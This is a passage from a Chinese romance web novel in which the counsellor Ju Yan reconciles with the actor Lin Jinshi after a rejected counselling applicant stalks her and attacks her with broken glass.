冬夜凛冽的寒风往脸上扑着，先前没有落下来的泪在这时饱满，从眼眶溢出。 走到单元楼下，才发觉鞠然还在等她。 他手抄兜，靠在一侧的承重墙上，茂密的寸发上沾着冰屑，在黑夜里亮晶晶的。 鞠言走到他身旁将伞倾向他：“干嘛等在这，你不怕感冒吗？” “我不放心。”鞠然拿过伞，他的目光第一时间投到了她的脸颊上，停留片刻，极不自然地移开了。 “走吧。” 鞠言微微点头，缓步和他一起走进电梯。 明明只是说了几句话，鞠言却感觉耗费了极大的精力，她背靠在电梯壁上，只觉得疲倦至极。 鞠然无声地张了下嘴，到底还是忍住了没问。 回到家里，鞠言还想强撑着收拾客厅。鞠然止住她：“你去洗澡吧，我来。”- 鞠言在浴室待了将近两个小时，一洗完澡出来，叶珊就想逮住她问今天的事，鞠言没余力敷衍她，正想躲到房间去，门铃忽然响了。 叶珊嘟囔了一句：“怎么这么晚还有人来？”走过去开门。 她随即传来的一声惊呼使鞠言往大门的方向望了一眼。 外面的雨夹雪不大，但一直没停过，林今世的全身都湿透了，显然是她走后，又在原地站了许多。 “你怎么淋这么湿！快进来快进来！”叶珊反应过来后立刻着急地想把林今世往屋里拉。 林今世站着没动：“阿姨，我想和比比谈谈。” “有什么话进来说。”叶珊回过头冲鞠言喊：“比比，快去倒杯热水给今世。” 鞠言本就担心林今世，借着叶珊的话，她从卧室的方向折返回来，朝厨房走。 “比比！” 林今世喊住她。 “我不要结束。” 鞠言的脚步停下，她回过脸，目光与林今世触到。他的墨发由于潮湿，垂在额前。看起来有些落魄。 “让我重新追你，可以吗？” 鞠言定在原地，一时没有说话。 林今世望着她：“或者说，你允许我重新追你吗？” 在场的人无一例外都怔住了。 与叶珊出于对男明星竟喜欢自己的女儿带来的震惊不同，鞠然不可置信的是林今世卑微的语气，他和他那么多年兄弟，只见过他毫不掩饰的薄情和不可一世。 这样卑微的林今世，鞠然连想象都无法做到。 林今世乞求的语气也让鞠言实在狠不下心了，她沉默了一会儿，道：“这是你的自由。” 林今世的眼睛亮了下，或许是因为太过激动，他显得有些无措起来，隔了好一会儿，忽然道：“谢谢。” 鞠言的心被刺了一下。 林今世看着她，眼神温顺得像只小羊：“我回去了，你早点睡。” “你先洗个澡再回去吧。”鞠 言怕他这样回去会感冒。 “哥，借一套你的衣服。” 鞠然蹙了蹙眉：“随你。” 得到了鞠然的同意，鞠言便到鞠然的卧室里找了套他不穿的衣裤递给了林今世。 林今世接过衣服，不存在的尾巴摇得飞快。至于这套衣裤的主人，他直接选择了无视。 “我先回房间了。”鞠言道。 林今世看着她的背影彻底被房门掩住后，才朝浴室走。 鞠言躺在床上，翻来覆去没有睡意，回想起林今世进门时的眼神，她的胸口闷闷的。 鞠言爬起来，从包里找出耳机，准备听一会儿博客转移注意力。 刚想戴上，房门传来两声轻叩。 林今世的声音就透过门扉传来： “比比，我回去了。” 鞠言犹豫了一下，轻轻回应：“嗯。” 林今世再度响起的声音多了几分孩子般的生气： “晚安。”- 工作后的年假远不如学生时期的寒假长，在家里住了五天，鞠言便要收拾行李，回清津预备上班了。 叶珊舍不得极了，给鞠言准备了许多累赘的东西要她带着，还急匆匆地扎了七八只蛋黄肉粽煮熟了要鞠言带回清津吃。 从前都是鞠旭阳最早离开家去外省工作，这一回却是鞠言。 到了出发那天的清晨，全家人一起送她去了火车站。 是个有阳光的清晨，但温度仍旧在零下。 鞠然全程都在努力开朗活泼，不让车内的气氛陷入分别的怅然。 然而随着离火车站越来越近，他也逐渐沉默了下去。 车子停下，鞠然率先下车走到后备箱去拿行李。 “我自己来就可以了。” 鞠然顾自把后备箱的行李一手一件提下来：“比比，就让哥帮你吧。等你回清津我就帮不上了。” “……” 由于没有买票无法进入火车站，他们只能送她到安检口，鞠言从哥哥手里牵走行李，站在原地和他们告别，她浅笑： “周末有空我就回来。” 鞠旭阳：“没事不用回来，清津和玉雾又不近，浪费票钱。” 闻言，叶珊在鞠旭阳的肩上搡了一下，她走近一些，抬手替鞠言把围巾掩了掩，她忍不住哭了： “不要经常点外卖，听到没有？自己做顿饭累不死的。” “好，我知道了。”鞠言点点头，她弯起指节替叶珊擦掉了眼泪。 伤感的情绪像是流感，鞠然的眼眶也有些泛红，他微笑着和鞠言拥抱了下： “路上注意安全。” 鞠言看向了一旁默然不语的鞠旭阳： “爸，我走了。” “嗯。”鞠旭阳简单应了一声，他把手抄在大衣口袋里，不等鞠言进入安检口，先转身朝外走去。 _ 寒冷的晨风自由地在月台穿行，距离高铁到站还有三分钟，鞠言牵着行李箱静静地等在黄线以外的位置。 她用戴着兔毛手套的手拿出手机点进了很少使用的娱乐软件，消磨等待的时间。 她随便翻了翻，都是一些无聊的内容，正想退出，目光忽然在一条帖子上停住，而后不由自主地点了进去。 这是一条十几分钟的生活vlog，视频封面上的男孩怀抱着吉他，脸上洋溢着自信。 男孩长得很俊秀，尤为出彩的是眉眼，为他增添不少魅力。 这也是鞠言点进这条内容的原因，男孩长得有六分像林今世。 视频中，男孩弹错了一个音节，视频拍摄者柔声笑起来，而后用发音标准的美式英文提醒他，男孩撒娇地朝屏幕吐了下舌头。 鞠言没有把视频看完，她从头像点进账号的主页，是这个男孩的母亲创建的记录生活的账号，IP显示：美国。 鞠言随便翻了一下，女人的英文名叫诺拉，其中一条帖子她发了自己的照片，是个十分美貌的少妇，从高级的衣着便能看出优裕的生活条件。评论都是清一色喊“婆婆”的。 “……”鞠言见过她——虽然只是照片。 她划动手机，快速把她的社交账号里的内容大概浏览了一遍，这一家人居住在尔湾的富人区，诺拉定期会在这个账号上更新儿子的日常。 因为高质量的精致生活和男孩略有些像林今世的容貌，每一期视频都能轻轻松松收获十几万的点赞。 诺拉这个账号创始已经有好多年了，发布的大多是和儿子有关的内容，这个叫西蒙的男孩从出生到高中的点点滴滴都事无巨细地记录在上面。 鞠言安静地望着屏幕，良久，她退出软件。 只从这位母亲喊男孩“西蒙”时温情的嗓音，就能看出她很爱他。 一股浓郁的怅然充溢胸腔。鞠言不禁去想，这位母亲有没有一秒钟想到过那个从5岁就和她分开的孩子？ 知不知道他父亲对他的漠不关心和继母的欺负？知不知道他在阖家团聚的新年一个人流落到朋友的家里？ 快速驶来的白色列车划起了一阵寒冷的风，鞠言回过神来，她把手机放回兜里，等列车停稳后，提起行李箱进入车舱内。 她在位置上坐下，虽然听着音乐，但脑子里还是不受控地在想刚才的事情。鞠言拿出手机，点进微信黑名单，找出林今世的微信解除了拉黑。 她点进与他的聊天页面，看着林今世在被拉黑前发过来的很多消息，鞠言的手指在屏幕前停留了一下： 【方便的话，我想来看看馄饨。】 微信发出去后，直到鞠言牵着行李箱坐上了去往碧水区的地铁，林今世才回复过来。 他一连发了好几张馄饨的照片，还有视频，低下配了一条语音。 鞠言点开，由于她戴着耳机，林今世带着欣喜的声音似贴耳传来： “我在忙，馄饨不在身边，这些都是以前的，过几天等我回去了再带你去看它。” 【好。】鞠言回复过去。 她的本意是想找个机会和林今世见面，但林今世听起来很忙，鞠言便没有再提起。 她点开林今世发过来的照片和视频，一张张认真看过去。 馄饨似乎又胖了，像是一辆小卡车。 视频中，馄饨叼着自己最喜欢的老鼠玩具甩开甩去，视频的最后几秒，镜头外忽然蹿进来一只狸花猫。 虽然馄饨看起来比它“壮”的多，但馄饨显然很怕这只狸花猫，立刻吓得缩起耳朵瘫倒在了地上，在视频拍摄者的呵斥声中，狸花猫得意洋洋地高竖着尾巴，叼着玩具走开了。 鞠言看着，有些心疼又有些内疚，和林今世分手后，她再也没有去看过馄饨- 回森北上班的第一天是个很冷的星期二。不到下午两点，天色便暗了下去。凝冷的天空中纷纷扬扬飘起了大片的雪花。 鞠言刚结束了一场咨询，待来访者离开后，她坐在椅子上，捏起拳头慢慢地伸了个懒腰。而后站起身走到窗边看雪景。 手机响了一声，是穆晓菲发给她的微信： 【比比，咖啡到了。】 鞠言回了个【好。】折身出了咨询室。 办公室内，穆晓菲等人正围着杨欣的办公桌分刚到的热咖啡。 杨欣看了看其中一杯的标签，递给鞠言：“比比，这是你的。” 注意穆晓菲握着的咖啡，乔楠最怕苦，惊讶地询问：“你喝的热美式？” “过年吃嗨了，一下子胖了好几斤，只敢喝这个了。”穆晓菲有些忧郁地嘬了口热美式。 “哪里胖了？”乔楠拎起穆晓菲的一条手臂，打量了下她的腰：“这样不是刚刚好吗。” “穿着衣服看不出来。”穆晓菲用手掐了掐自己腰。 “过年谁不胖两斤。”杨欣笑道，“你看，连比比脸都圆了一点。” “没办法，我妈妈做的菜太好吃了。”鞠言弯起眼睛。 正说话间，办公室的暖气中忽然夹杂进了一股寒气与CliveChristian的高级香水的味道。 鞠言回过头，李景显的脸庞映入眼帘，他嘴角的伤还没好，青紫的一块，在他像是混血儿的白皮肤上很是触目。 “几天不见，小李总你怎么挂彩了？”穆晓菲惊讶地问道。 李景显挑唇一笑：“你男神打的，信吗？” 穆晓菲冲他拉下眼皮，扮了个鬼脸：“不许诬赖林今世。” “不严重吧？”乔楠担心地问。 李景显微笑着摇了摇头。 他实在迷人，虽然只是一个寻常至极的动作，乔楠还是红了脸。 鞠言没有加入到他们的谈话里，她看了眼腕上的牛皮小表，离咨询开始还剩十几分钟，李景显平时也很忙，错过了这次机会，可能又要拖延许久。 只好偷偷给李景显发了条微信：【李总，你现在有空吗？】 【我想和你谈谈。】 一秒不到，李景显的手机便响了，他低头看了一眼，抬脸对其他人笑道：“失陪一下。”随后风度翩翩地离开了。 鞠言装作若无其事：“我先回咨询室了。” 等鞠言把咨询室的门关上了，李景显才开口，他的责备像是撒娇：“不是说了不要喊我李总吗。” 鞠言轻吸了口气，将在心里提前准备的话语说出口：李总，我很感谢你的喜欢，但我一直以来都只拿你当朋友，你别在我身上浪费时间了。” 李景显微怔，不以为然地笑了：“我对自己有信心。” “李总，你很优秀，但我们只能是朋友。” 她认真的语气与眼神使李景显的神情变了，他嘴角的笑一点点淡去： “我就那么不好吗？” 鞠言不想去打击一个一贯优秀而自信的人的自信心，她立刻摇了摇头：“你很好，只是我和你不合适。” 李景显的聪明使他沉默了，墙上挂着的时钟的秒针无声地转了大半的弧度，他才低声问：“你还喜欢林今世是吗？” 鞠言怔了怔，没有说话。 她的沉默是回答，李景显闭了下眼睛，勉强想笑一笑，却做不到，嘴角只是凄楚地抽动了下，竟是要哭了。 他自己似乎也没想到，侧过脸把视线投向大雪纷飞的窗外。再度传来的声音有些哽咽、有些委屈：“我也有心，可你只在乎他的心疼不疼。” 鞠言垂下眼，轻声道：“抱歉……你以后肯定会遇到一个爱你、和你相配的女孩。” 为了忍泪，李景显仰起脸，他自嘲地笑了几声，忽然有失风度地一转身，丢下她打开门快步走了。 鞠言没有跟出去，她在椅子上坐下，复习起下一个来访者的信息资料。 …… 虽然上次鞠言允许了林今世的追求申请，但由于工作实在繁忙，自二月开始，除了每天请人送花来以外，林今世本人一直都没有出现。 每日送来的鲜花，鞠言不再丢掉，而是将它们换到玻璃花瓶摆在窗台。 今天的是一束清爽的白色风铃花。 白色的小风铃花迎风轻颤，点缀在窗台的晴空之前。在它的陪伴下，鞠言送走了上午最后一个来访者。 乔楠进来收拾咨询室，穆晓菲和杨欣也紧随而至，穆晓菲立刻敏锐地发觉窗前的风铃。 “比比，你今天怎么没把花丢掉？”她走到窗台旁俯下脸观赏起那盆风铃，“是被他的持之以恒感动了？” “嗯……” “我有点好奇那家伙究竟是个什么样的人了。”穆晓菲笑眯眯地回过头：“什么时候让我见见。” 鞠言笑了：“如果我和他会和好的话，一定带他来见你。” 第75章 因为认真负责的态度与出色的能力,鞠言工作以来一直广受来访者好评，每次一发号便会被马上抢完，每天的咨询都排的满满当当,几乎没有空闲的时间。 她每天都忙得不可开交，林今世也因为拍摄综艺的缘故,一直在别的国家，虽然在手机上一直维持着联系,但发给对方的微信，往往要隔好几个小时，甚至是隔日才能收到回复。 从大二下学期开始,鞠言就一直在做公益咨询，尽管现在每天都很忙，她还是选择每两个星期空出一天的假期来进行公益咨询。 因为是不收费的公益咨询,鞠言更想将位置留给需要帮助的女生，便在申请咨询条件上写明了这一点。 这天却有一个男性向她递交了来访申请，虽然有违限制条件,但鞠言还是将他的申请资料认真看了一遍。 申请人名叫赵琦。男，29岁,目前处于无业的状态。 只是从填写信息的文字中,就能看出他的歇斯底里，根据赵琦的描述,他所面临的心理问题是性别认知障碍,这并不是鞠言所擅长的领域。而且根据赵琦所填的资料显示，他在本周内出现过尝试自杀的行为，这种情况应该要先寻求心理医生的帮助，而不是心理咨询。 鞠言认真写明了拒绝的理由，点击了回绝,并诚恳地建议他先到精神门诊进行检查。 鞠言本没把这件事放在心上，没想到被她拒绝后，赵琦竟愤怒地在社交平台写了几万字痛斥鞠言作为医生，辜负了他的信任，斩断了他生存下去的希望，并且认为鞠言不接受他的来访是因为歧视性少数群体，因为不认为他是女性，而拒绝他的求助。 虽然评论区一边倒的认为鞠言没有错，赵琦却在每条不赞同他的评论下面都回复了一大段激动的反驳，和网友大吵特吵。 这条笔记很快便被删除了，准确来说是被举报下架的。 看着乔楠发来的截图，鞠言微微叹了口气，她用自己的账号给赵琦发去了私信，把拒绝他的理由清楚地说了一遍，并且再度建议他应该要先去找心理医生帮助。 【到时候我再给你推荐擅长给LGBT做心理咨询的咨询师，好吗？】 刚发完最后一句话，门传来了两声轻叩，待鞠言仰起脸后，杨欣才笑出梨涡： “比比，明天下班之后咱们去吃烤肉怎么样？就我们几个女生。” “好啊。” 这几天撞到节假日，大家都忙，已经一个多星期没有出去吃饭了，鞠言欣然答应下来。 “我想死口蘑和羊排了。”杨欣期待咂了咂嘴。 鞠言被她说得流了口水：“我想死烤菠萝了！” 又聊了一会儿想吃的食材，杨欣走后，鞠言开始预备为下一次咨询做准备。 她习惯性地拿起手机想看眼时间，屏幕亮起的那一刻却不觉怔了下。 社交软件显示有十几条未读的消息，都是赵琦在短时间内发送给她的，并且还在不断地增多。 鞠言点进去，草草浏览了下，都是一些言词尖利的指责，因为鞠言没有立刻回复，到最后已经变成了重复的谩骂。 鞠言微微蹙眉，将他拉进了黑名单。 这件事并没有太过影响她的心情，回到家洗完了澡，鞠言来到卧室，虽然暖气提前就开好了，但由于这套房的空调是十几年前装的，已经很老旧了，因而屋内还是冷飕飕的。 鞠言走到窗边去拉窗帘，看到玻璃窗上凝结的冷雾，她忽然心血来潮想做杯热蛋奶喝。 需要的材料冰箱里都有，十分钟不到，屋内便飘散开一股诱人的蛋奶香。 鞠言一手捧着热热的杯子，拍了一张小锅内剩余蛋奶的照片发给关鸥： 【我煮了蛋奶，你和潇潇要不要喝？】 各自的工作都忙，陈叶的事情解决以后，关鸥和她也有好长一段时间没见了。 一分钟不到关鸥便回复了过来：：【留一杯就够了，潇潇和她朋友旅游去了。】 鞠言看了眼腕表，傍晚六点二十分：【你来我这喝还是我给你送过来？】 关鸥：【我过来。】 熄掉手机，鞠言又往自己的杯子里续了一点儿奶，随即将剩下的全部倒进了粉色的保温杯里，她特意选的这个颜色。 关鸥喜欢喝冰的，鞠言将保温杯放到冰箱里，笑眯眯地将刚才拍好的保温杯的照片发在她们的四人群里： 【给哦哦的蛋奶装好了！】 上学时她的室友们就很喜欢她做的蛋奶，有一回学姐突击查寝，她们手里都端着一杯刚出炉的热蛋奶，全员都紧张到心惊肉跳的。 周靓雯现在说起来，脸上都还会出现犹有余悸又怀念的表情。 虽然已经毕业了，但五个女孩的关系还是很好。 周靓雯秒回：【呜呜呜，我也好想喝热蛋奶！】 鞠言：【下次等你来就做给你喝～】 隔了一会儿关鸥回复过来：【比女士，想申请一杯蛋奶酒。】配了一个举手的小表情。 鞠言回复道：【少喝酒，多喝奶，对身体好。】 关鸥发了一条语音过来，是带笑说的：【你怎么像我妈一样。】 沈清梨发了条语音，她清细的声音带笑唱着：【世上只有妈妈好，有妈的孩子像个宝～】 关鸥：【……】 关鸥住在文荷区，离森北有好一段距离，坐地铁还要换乘，等她叩响鞠言的门时，已经快9点了。 关鸥把手里散发着香气的烧烤袋和卤味递给鞠言，站在门口换鞋，一边吐槽： “你家楼下有盏路灯怎 么爆了，我刚才走过来差点跌花坛里。” “前几天就坏了，物业一直没来。”鞠言歉然地笑了笑，“本来想跟你说一声的，回了个微信就忘了。” 屋内的暖气开了这一会儿，已经热烘烘的了，两人在小茶几前面对面坐下，边喝蛋奶边吃着烧烤和卤味。 “你的手艺没退步嘛。”关鸥一口气喝了小半杯冰蛋奶。 鞠言弯起眼睛朝她笑了笑以做回答，她咬了一口烤鱿鱼，瞬间辣出了眼泪，忍不住咳嗽起来，“你是不是选的重辣？” “哪有，只是微辣多一点点。”关鸥边辩驳，边往鞠言的杯中倒了些蛋奶递给她，“那盒只搁了甜酱，你吃那盒。” 两人一面吃，一面闲聊着各自的近况，话题从吐槽自己的邻居，转到沈清梨订婚的事情，关鸥和鞠言一致认为沈清梨的公婆不太好相处，有点为她担心。 话题结束，安静了片刻，鞠言道：“外面那么冷，你今天别回去了，和我一起住吧？” 关鸥瞥了一眼黑漆漆的窗外，点了点头。 “潇潇介不介意这个？” “她知道我来找你。”关鸥站起身一起收拾茶几上的残羹冷炙，“只有你们几个的醋她不会吃。”关鸥语气透着几分宠溺地无奈。 鞠言瞪了她一眼：“又在装模作样地秀恩爱！” “才没有，她快把我闹死了。” 第二天一早送走了关鸥，鞠言照常去森北上班，她穿着简单的黑色羽绒服，同色系牛仔裤，全身上下唯一的色彩点缀，便是耳垂上深蓝色串珠耳钉，整个人愈发显得洁净清丽。 不知道是因为和林今世关系的缓和，还是因为今天是期待已久的放松日，鞠言的心情很不错，白天的工作时间仿佛也过的特别快。 下午最后一场咨询一结束，穆晓菲便蹿进了鞠言的咨询室，催着她快点收拾包包。 都市的商业街到了深夜仍旧很热闹，因为环境干净，食材又新鲜，这家烤肉店鞠言她们经常来。 明天是假日，一群女孩点了几瓶酒直玩到了十一点多才散，这个时间点已经没有地铁和公交了，鞠言便打了辆网约车回小区。 非小区车辆没办法驶进小区，只能停在门口，不同于商业街的喧嚣，小区静悄悄的，沉没在黑暗中。 鞠言漫步朝单元楼走，她酒量不好，在聚餐时喝了半杯白酒，脸到现在还热扑扑的，没有褪红。 鞠言租住的小区并不高档，一楼没有大厅，只有通向电梯间的简单的架空层。 就快到了，她所属的单元楼附近的一盏路灯到现在还没有修好，入口处在深夜中成了一个黑洞洞的“深渊巨口”，令人生畏。 鞠言的手机一格电都没有了，没办法照明，她有点害怕，脚步加快，想着赶紧进入架空层，把灯打开。 愈来愈近了，一阵突如其来的强烈不安感忽然袭上了鞠言的心头，她的脚步一顿，本能地停了下来。 莫名的，鞠言觉得有人在窥视着她。 她的身体一阵发麻，醉意荡然无存，迅速往后退到了路灯明亮些的地方，不敢再往前走。 夜风飕飕吹拂着，整个小区悄无声息，只有零散的几扇窗透出黯淡的光亮，鞠言的心砰砰跳着。 忽然，一只猫飞快地从冬青树丛中蹿了出来，将她吓了一下，猫咪警惕地闪进了另一棵树中，鞠言松了口气，重新抬腿往前走，只是没走几步，便再一次猛地刹住了脚步。 她的心脏在一瞬间加速了跳动，眼睛盯着黑暗的入口一动不动。 不是错觉。 单元楼入口处深浓的阴影中躲藏着人，并且正目不转睛地朝她窥视着。 第76章 鞠言努力压制住呼吸,立刻想转身往外跑。 “鞠言。” 就在这时，对方却喊出了她的名字。 “……”鞠言没有应声，身体发起抖,对方中性的声音在一瞬间让她毛骨悚然。 她猜到了他是谁。 瘦高的身影慢慢走出了阴影，朝她靠近过来。 鞠言身体绷紧,她不敢转身跑，怕会引起对方应激的反应,只是随着他的脚步缓慢地往后退着。 “为什么连你都跟他们一起歧视我？”瘦高的身影像是自言自语似地说道。 他的面貌随着脚步逐渐暴露在路灯下——男人身高在一米八左右，穿着红色连身裙，涂着鲜艳的口红,长发到腰，瘦骨嶙峋的男人脸，嘴周有胡青的淡痕。 “我——” 不等鞠言回复,他便吼叫起来： “我就是女生，我就是女生！” “我知道了，赵琦。你先冷静一点。”鞠言逼自己镇定,试图让他的情绪平静下来。 听到她喊出他的名字，赵琦愣了下,“你知道我是谁？” “嗯,你是想寻求我的帮助吗？但今天已经晚了，明天你再来医院找我好吗？”鞠言慢慢往后退着,一点点和他拉开距离。 “已经晚了,”赵琦摇了摇头，又像自言自语似的说道，“我把所有的希望都寄托在你身上了，是你！是你！把我生存的最后希望给斩断了！” “你放松，你放松,”鞠言控制住紧张，不易察觉地往后退着，同时继续柔声安抚：“一切都不晚，我向你保证。” “我好不容易相信别人一次，为什么连你都不肯救我！”赵琦却忽然情绪失控，他嘶吼起来，从口袋中掏出一块在黑夜中闪着寒光的三角形碎玻璃冲过来。 赵琦从一开始就已有失控的前兆，鞠言心里已经有了防备，在赵琦向她冲过来的一瞬间，她立刻往门卫室的方向奔逃，同时大声呼救。 她的打破了小区的万籁俱寂，然而时间接近凌晨，小区里一个人影都没有。 赵琦追着她，瘦骨嶙峋的手不时往前捞抓着，鞠言披散的长发被他扯住了，她吃痛，条件反射地回过头，赵琦的脸背阴，只能看清他发红的双眼，手中高举着的碎玻璃映照出了她惊恐的、残破的脸。 赵琦掌心的血珠与晶亮的玻璃尖端朝她坠落下来，鞠言来不及惊呼，本能地想闭上眼睛，忽然一道修长的身影挡到了她身前，他握住了朝她的颈部刺来的碎玻璃，一把夺了过来，同时抬腿照着赵琦的肚子就是狠狠一脚，将他揣到了地上。 林今世回头飞快看了一眼惊魂未定的鞠言，她的身体在不受控地颤抖着，他微微蹙眉，随手将被鲜血浸染的碎玻璃丢到到了一边，阔步走向了刚艰难地从地上仰起半身的赵琦。 林今世一脚将他重新踹回了地上，他制住赵琦试图反抗的手，一只膝盖压到他的背上，将赵琦牢牢地反摁到地，想到鞠言惊恐的神色，手上的力道不由得地重了几分，赵琦顿时哀嚎了一声。 林今世回过头看了鞠言一眼，她静止在原地，脸上犹有余悸，目光交汇，林今世身上的一袭银白色西装，在夜色中微微泛着月的清辉。 “别怕，我在。”他望着她说。 林今世充满安全感的声音使鞠言狂跳的心脏逐渐恢复了正常的频率，想起他夺玻璃的那一幕，她猛然反应过来林今世可能受伤了。 鞠言立刻朝他小跑了过去。 果然，林今世摁在赵琦背上的左掌下有一大块洇湿的黑红的血迹。 鞠言的胸口顿时一阵痛楚，她手忙脚乱地口袋中寻出手机，摁了下才想起没电了，她立刻去找林今世的手机，飞快摸索过了他的西装口袋，从左裤袋中寻了出来。 “ 密码是你的生日。” 鞠言颤手输入了密码解锁，先打了120，再打了报警电话。 “放心，伤口不深，只是看起来吓人。”林今世瞥见她眼中的担心，漫不经心地道。 “为什么……为什么连你都不肯帮我！”赵琦痛得脸色发白，看见鞠言却仍旧嚎叫起来。 林今世听着嫌烦，换成了一只手摁着他，空下来的左手粗暴地扯下了自己的领带，血淋淋地堵到了赵琦的口中。 “你就不能喊我给你解吗！” 看到他顺臂流淌的鲜红，鞠言心疼道。 辖区出警很快，警车赶在救护车前到达，两名干警将赵琦压上了车。 林今世站起身，受伤的左手若无其事地背到了身后。 “给我看看。”鞠言没有伸手去拽，怕拉扯到他的伤口。 林今世摇了下头，没有要伸手的意思。 “不然我会更担心的。” “……” 林今世这才把手伸给她，看着他掌心那道深刻涌血的伤口，鞠言一瞬间有种欲泪的冲动，内心无比希望这道伤口可以交替到自己的身上。 林今世满不在乎地瞥了一眼，抬起眼看向鞠言，语气有些凶： “你的工作怎么这么危险？” “这只是例外。”鞠言想替他压住伤口，林今世轻轻将手躲开： “我自己来，你别把手弄脏了。” “你受伤了，不方便的。”鞠言坚持道，她轻轻握住林今世的手腕，小心地替他压住伤口，他温热的鲜血很快便浸湿了她的手指。 鞠言咬紧唇，但眼中还是滚出了泪珠。 林今世的眉头微微抖了一下，他最见不得她哭，每一次看见她含泪的眼睛，他的心都要碎了。 “别哭，没事的。”林今世抬起另一只手轻轻将她的泪抹去。 鞠言却忍不住哭得更凶了，她偏开脸，避免眼泪坠落到林今世的伤口。 等待救护车的五分钟，在鞠言的感觉里仿佛格外的漫长，仿佛有一世纪之久。 她陪着林今世一起上了救护车，车上的医护人员先对他的伤口进行了简单的包扎。 等鞠言登记完了患者资料后，林今世问： “你包里有口罩吗？” 鞠言从包里拿了一只蓝口罩替他戴上，林今世脱了显眼的西装外套，只穿着里面的白衬衫。 虽然是凌晨，但医院的人还是不少，林今世又太过显眼，鞠言有些担心他会被认出来，万一被粉丝围住就麻烦了。 好在大多数病人和家属都很疲惫，大多已经睡着了。 医生用生理盐水冲洗着林今世的伤口，那一下割得很深，几乎见骨了，鞠言站在一旁看着触目的伤口，眼眶再次泛红了。 清理完里面的碎玻璃渣后，医生用针线替林今世将掌心割开外翻的皮□□合起来，敷上药粉后紧紧缠上了几圈绷带。 似乎是怕她担心，林今世全程一声都没吭，直到结束后，他才忽然说： “麻烦帮她也看一下，她的头发被扯伤了。” 医生轻轻拨开鞠言的头发瞧了瞧： “不严重，这几天洗头不要用太热的水就可以了。” 林今世说了谢谢，脸上的神色比刚从轻松了一些。 林今世的伤口很深，医生建议打完抗生素再走，由于是晚上，输液科仅剩了三个窗口。 “你是林今世吗？”替他打点滴的小护士打量着林今世，小声问道。 另外两个窗口的护士也早已好奇地侧脸朝他这边看着了。 “嗯。”林今世承认下来，瞥了一眼第二个窗口正拿着手机对着他的护士：“麻烦不要拍照。” “那可以给我签个名吗？我、我看过你演的电影！”小护士涨红了脸，激动地喊道，她手忙脚乱地打开抽屉，抓出了一本笔记簿翻开了一页，递给林今世。 林今世迟疑了下，用右手拿起笔，写了个歪歪扭扭的签名。 小护士欢天喜地接了过去，她朝鞠言打量了一番，似乎以为她是他的新助理，并没有大惊小怪。 鞠言替他提着盐水瓶，手臂竭力伸到最高。 林今世瞥了她一眼：“低一点，手不酸吗。” 鞠言微微摇头。 林今世的经纪人匆忙地跑进了急症厅，目光触到他们，立刻跑了过来，他从鞠言手中接过了药瓶，嘴里忍不住指责林今世： “大半夜的你是怎么回事？” “意外。”林今世简单敷衍了一句，低脸对鞠言道：“到车上去吧。” 陈同乐着急赶来，开的是自己的私家车，他把林今世安置在后排的座位上，将盐水瓶找了个高处挂着。 鞠言也坐进了车内，陈同乐回到驾驶座，他从后视镜看了看她，回过头问：“你就是小今喜欢的那个女孩吧？” 还没等鞠言回复，林今世已先“嗯”了一声。 鞠言一时不知道该怎么回答，选择了沉默。 林今世靠到座位上，他瞥了眼腕表，已经快两点了。 “我让陈哥送你回家。” 鞠言摇了摇头：“我回去也睡不着，陪在你身边，我至少不会那么内疚。” 林今世皱眉：“你内疚什么，这件事又不是你的错。” “那也是因为我你才受伤的。”鞠言边说，边撩起耳畔的东西，轻轻往他的伤处吹气。 林今世望着她的模样，轻声道： “那答应我一件事。” “你说。” “靠在我肩膀上睡一会儿。” “……”鞠言没想到会是这个要求，不觉看向他。 林今世以为她不愿意，沉默了下： “不愿意就算了。” 鞠言没有说话，安静地朝他靠过去，将额角倚到他的肩膀上。 林今世略显意外，他垂眼望着她看了一会儿，柔声道：“睡吧。” 鞠言垂睫看着林今世被绷带缠着的手，一点儿困意也没有。 不一会儿，前座传来了陈同乐轻轻的呼噜声，林今世还没睡着，他侧头望着她，安静的目光缱绻地抚摸着她的脸庞。 “你今天怎么会在？” 鞠言动作未改，悄声说。 林今世犹豫了下，压低声音回答：“其实我有个账号一直偷偷关注着你的账号，这些天忙，一直都没有进社交软件，直到今天晚上综艺结束后才偶然点进去看了一眼。” “你看到他骂我的帖子了是吗？“ 林今世微微颌首：“看他那个神经病的样子，怕你会有什么危险，就立刻开车过来找你，还好……”他说到这里停了，不敢想那个没有发生的万一。 林今世静默了几秒，才接着说：我想给你安排几个保镖。” 鞠言轻声道：“那样太夸张了，我上班会不方便，我找个治安严些的小区住就没事了。” “要不住到我那去吧？离森北也近。” “华景都城吗？” “是去年买的别墅，那个地方一般人进不去，很清净，安保设施很好。保安也都是自己人，不会把你的隐私泄露出去。” 鞠言想了想，近期确实很难找到比这里更好的住处了，人身安全比欠林今世人情重要多了，而且经此一事，她也彻底不抵触和林今世有关的事了。 “那租给我可以吗？” “交换吧，你帮我照顾馄饨，它现在住在陈哥家，经常被他养的猫欺负。” 鞠言不再坚持，点头同意。 车内光线朦胧昏暗，久违的温存让两人都有种旧梦重温之感，静悄悄的空气中流淌着看不见的温暖。 林今世伸过没有受伤的手牵住鞠言，指腹轻轻地摩挲着，他呢喃道：“这样真好。” 鞠言眼睫微颤，生气道：“一点也不好，你都受伤了。” 林今世的嘴角带了一点微不可察地浅笑： “我觉得好。” “……”鞠言的眼眶再度泛红，她咬紧了唇，隔了好一会儿才轻声道： “我真的有这么让你喜欢吗？” 林今世一时没有说话。 正当鞠言以为林今世不会回答了时，她听见了他的声音。 “你的存在是美好本身，是我在这个世界上存在的意义。” 第77章 澡吗？”…… 在温暖的车子内靠着林今世的肩膀,鞠言却还是没有一丝睡意，她的心牵着他缠着绷带的手。 林今世的身上弥漫着一股淡淡的消毒水味，他已经睡着了,听着他均匀的鼻息声，鞠言稍稍安心了一些。 车窗外的天色由昏黑一点点变成了朦胧的暗青色,鞠言看了眼时间，凌晨六点了。 她的手机忽然响了起来,鞠言忙把电话按了静音，正想悄悄打开车门下车去接，已经被吵醒的林今世轻拽住了她的手臂： “外面冷。” 鞠言看了一眼驾驶座的陈同乐,他也已经醒了，正迷糊地揉着眼睛。 “嗯好。”鞠言把仅开了一条缝的车门关上 电话是派出所的民警打来的的，由于昨天晚上鞠言急着陪林今世去医院,还没有去派出所做笔录，因而民警要她现在过去一趟。 鞠言本想自己打车过去，但怕路上再发生任何意外,林今世坚持要陪着她一起去，鞠言和陈同乐加起来也拗不过他,最后只能妥协。 到了派出所门口,鞠言下了车，她止住想要一起下来的林今世：“你别下来了,等下被人看见就麻烦了。” 林今世还有些迟疑。 鞠言：“放心,有警察在，不会有任何危险的。” 